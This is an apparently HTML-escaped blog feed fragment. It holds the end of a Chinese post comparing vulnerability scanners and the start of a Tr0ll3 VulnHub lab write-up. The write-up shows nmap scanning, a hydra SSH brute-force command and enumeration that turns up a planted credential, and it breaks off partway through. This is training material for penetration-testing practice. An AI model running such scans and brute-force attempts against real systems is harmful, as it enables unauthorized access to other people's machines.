 &lt;td&gt;&lt;strong&gt;绿盟极光漏洞扫描系统&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;绿盟科技&lt;/td&gt;
 &lt;td&gt;攻防演练模式 · ICS/OT工控支持 · 漏洞利用链可视化&lt;/td&gt;
 &lt;td&gt;能源/制造业（20%）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;长亭洞鉴&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;长亭&lt;/td&gt;
 &lt;td&gt;动态流量分析 · RASP结合 · 云原生漏洞挖掘&lt;/td&gt;
 &lt;td&gt;互联网/云平台（18%）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;启明星辰天镜&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;启明星辰&lt;/td&gt;
 &lt;td&gt;资产管理优先 · 漏洞生命周期管理 · 等保测评报告自动生成&lt;/td&gt;
 &lt;td&gt;教育/运营商（15%）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-国产-vs-国际产品关键差异"&gt;🆚 &lt;strong&gt;国产 VS 国际产品关键差异&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;维度&lt;/th&gt;
 &lt;th&gt;国内产品优势&lt;/th&gt;
 &lt;th&gt;国际产品劣势&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;合规支持&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;内置等保2.0/关基条例模板&lt;/td&gt;
 &lt;td&gt;需定制开发&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;漏洞响应&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;CNNVD/CNVD同步&amp;lt;6小时&lt;/td&gt;
 &lt;td&gt;CVE中心依赖（时差延迟）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;信创适配&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;深度支持国产OS/数据库&lt;/td&gt;
 &lt;td&gt;仅兼容Windows/Linux主流版&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;&lt;strong&gt;定价策略&lt;/strong&gt;&lt;/td&gt;
 &lt;td&gt;按IP/年收费（含驻场服务）&lt;/td&gt;
 &lt;td&gt;订阅制（美元结算+高溢价）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="-免费替代方案推荐"&gt;🚀 &lt;strong&gt;免费替代方案推荐&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;XRay 社区版（长亭开源）&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# 被动代理扫描
./xray webscan --listen 127.0.0.1:7777
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Goby 社区版&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;资产测绘免费 · 漏洞扫描限量&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a class="link" href="https://www.yaklang.com/products/intro/" target="_blank" rel="noopener"
 &gt;Yakit&lt;/a&gt;+Nuclei&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Yakit是集成化单兵安全能力平台，用Yaklang语言编写&lt;/li&gt;
&lt;li&gt;Nuclei有丰富的开源模板，也可以自行编写漏洞模板，或让AI编写&lt;/li&gt;
&lt;li&gt;Yakit支持直接导入Nuclei模板扫描&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day20 Tr0ll3 靶场WP</title><link>https://ruajingjing.top/post/day20-tr0ll3-%E9%9D%B6%E5%9C%BAwp/</link><pubDate>Thu, 24 Jul 2025 23:45:31 +0000</pubDate><guid>https://ruajingjing.top/post/day20-tr0ll3-%E9%9D%B6%E5%9C%BAwp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day20 Tr0ll3 靶场WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;链接地址下载虚拟镜像：&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/tr0ll-3,340/" target="_blank" rel="noopener"
 &gt;https://www.vulnhub.com/entry/tr0ll-3,340/&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="信息收集"&gt;信息收集
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;172.168.169.142
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali攻击机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;172.168.169.141
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="扫描端口"&gt;扫描端口
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;10000&lt;/span&gt; -Pn 172.168.169.142 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 172.168.169.142
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 172.168.169.142
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描结果如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop/Potato&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ &lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5000&lt;/span&gt; -Pn 172.168.169.142 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop/Potato&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;└─$ &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="m"&gt;22&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop/Potato&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 172.168.169.142
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-07-23 02:25 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 172.168.169.142
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.0018s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;2048&lt;/span&gt; 6d:d1:ea:d0:a8:1e:83:ef:c7:4f:ae:4c:bb:d6:75:19 &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;256&lt;/span&gt; 24:5f:cb:ef:3a:db:b5:59:c6:15:51:b9:2b:9b:fa:39 &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ &lt;span class="m"&gt;256&lt;/span&gt; 8b:96:de:4a:11:45:a7:f9:eb:60:9b:45:da:1a:21:de &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;MAC Address: 00:0C:29:9A:2A:57 &lt;span class="o"&gt;(&lt;/span&gt;VMware&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;Warning: OSScan results may be unreliable because we could not find at least &lt;span class="m"&gt;1&lt;/span&gt; open and &lt;span class="m"&gt;1&lt;/span&gt; closed port
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;Device type: general purpose
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;Running: Linux 3.X&lt;span class="p"&gt;|&lt;/span&gt;4.X
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;OS details: Linux 3.2 - 4.14
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;Network Distance: &lt;span class="m"&gt;1&lt;/span&gt; hop
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;Service Info: OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 3.96 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop/Potato&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 172.168.169.142
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-07-23 02:25 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 172.168.169.142
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.0012s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;MAC Address: 00:0C:29:9A:2A:57 &lt;span class="o"&gt;(&lt;/span&gt;VMware&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 10.87 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描端口发现只有一个22端口打开，其他都关闭。一开始以为是靶机没开起来，回到虚拟机开机界面发现初始页面直接显示了登录用户名和密码，可以直接登录。也可以用&lt;code&gt;hydra&lt;/code&gt;进行爆破，因为一开始Nmap扫描出来提示的SSH版本比较低。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;hydra -L top-usernames-shortlist.txt -P password.txt ssh://172.168.169.142
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250723152248355" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723152248355.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723144733603" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723144733603.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250723145127957" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250723145127957.png"&gt;&lt;/p&gt;
&lt;h3 id="内网信息收集"&gt;内网信息收集
&lt;/h3&gt;&lt;p&gt;内核信息收集&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;uname -a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;lsb_release -a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;start@Tr0ll3:~$ lsb_release -a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;No LSB modules are available.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;Distributor ID: Ubuntu
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Description: Ubuntu 18.04.2 LTS
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Release: 18.04
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Codename: bionic
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;start@Tr0ll3:~$ uname -a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;Linux Tr0ll3 4.15.0-55-generic &lt;span class="c1"&gt;#60-Ubuntu SMP Tue Jul 2 18:22:20 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;用不了sudo&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;start@Tr0ll3:~$ sudo -l
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;sudo&lt;span class="o"&gt;]&lt;/span&gt; password &lt;span class="k"&gt;for&lt;/span&gt; start:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;Sorry, user start may not run sudo on Tr0ll3.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;找到文件夹下两个文件里给的提示&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;start@Tr0ll3:~/bluepill$ cat awesome_work
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;http://bfy.tw/ODa
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;start@Tr0ll3:~/bluepill$ cat ../redpill/this_will_surely_work
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;step2:Password1!
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在home文件夹下找到其他用户，尝试进入step2用户文件夹，没有权限，密码也不是&lt;code&gt;step2:Password1!&lt;/code&gt;。这个网址也是打不开的。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;start@Tr0ll3:/home$ ls -al
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;total &lt;span class="m"&gt;40&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;drwxr-xr-x &lt;span class="m"&gt;10&lt;/span&gt; root root &lt;span class="m"&gt;4096&lt;/span&gt; Jun &lt;span class="m"&gt;19&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;drwxr-xr-x &lt;span class="m"&gt;27&lt;/span&gt; root root &lt;span class="m"&gt;4096&lt;/span&gt; Aug &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="m"&gt;2019&lt;/span&gt; ..
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;drwx------ &lt;span class="m"&gt;2&lt;/span&gt; genphlux genphlux &lt;span class="m"&gt;4096&lt;/span&gt; Jun &lt;span class="m"&gt;18&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; appserver
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;drwx------ &lt;span class="m"&gt;4&lt;/span&gt; eagle russ &lt;span class="m"&gt;4096&lt;/span&gt; Aug &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;2019&lt;/span&gt; eagle
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;drwx------ &lt;span class="m"&gt;2&lt;/span&gt; fido fido &lt;span class="m"&gt;4096&lt;/span&gt; Jun &lt;span class="m"&gt;18&lt;/span&gt; &lt;span class="m"&gt;2015&lt;/span&gt; fido
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;drwx------ &lt;span class="m"&gt;4&lt;/span&gt; genphlux genphlux &lt;span class="m"&gt;4096&lt;/span&gt; Aug &lt;span class="m"&gt;2&lt;/span&gt; &lt;span class="m"&gt;2019&lt;/span&gt; genphlux
